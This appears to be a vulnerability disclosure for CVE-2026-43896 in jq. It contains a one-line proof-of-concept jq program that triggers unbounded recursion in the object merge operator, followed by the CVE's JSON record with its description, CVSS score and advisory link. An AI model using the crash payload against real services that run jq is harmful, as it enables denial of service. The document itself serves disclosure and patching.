CVE-2026-43896

# PoC for CVE-2026-43896 # Trigger unbounded recursion using object merge operator * def crash: {a: .} * {a: crash}; # Execute the recursive merge crash

{"cve": {"id": "CVE-2026-43896", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:37.530", "lastModified": "2026-05-11T18:16:37.530", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In 1.8.1 and earlier, unbounded recursion in jv_object_merge_recursive() allows a crafted jq program to crash the process with a segfault. The function is reachable through the * operator when both operands are objects."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://github.com/jqlang/jq/security/advisories/GHSA-mg96-6h3q-g846", "source": "[email protected]"}]}}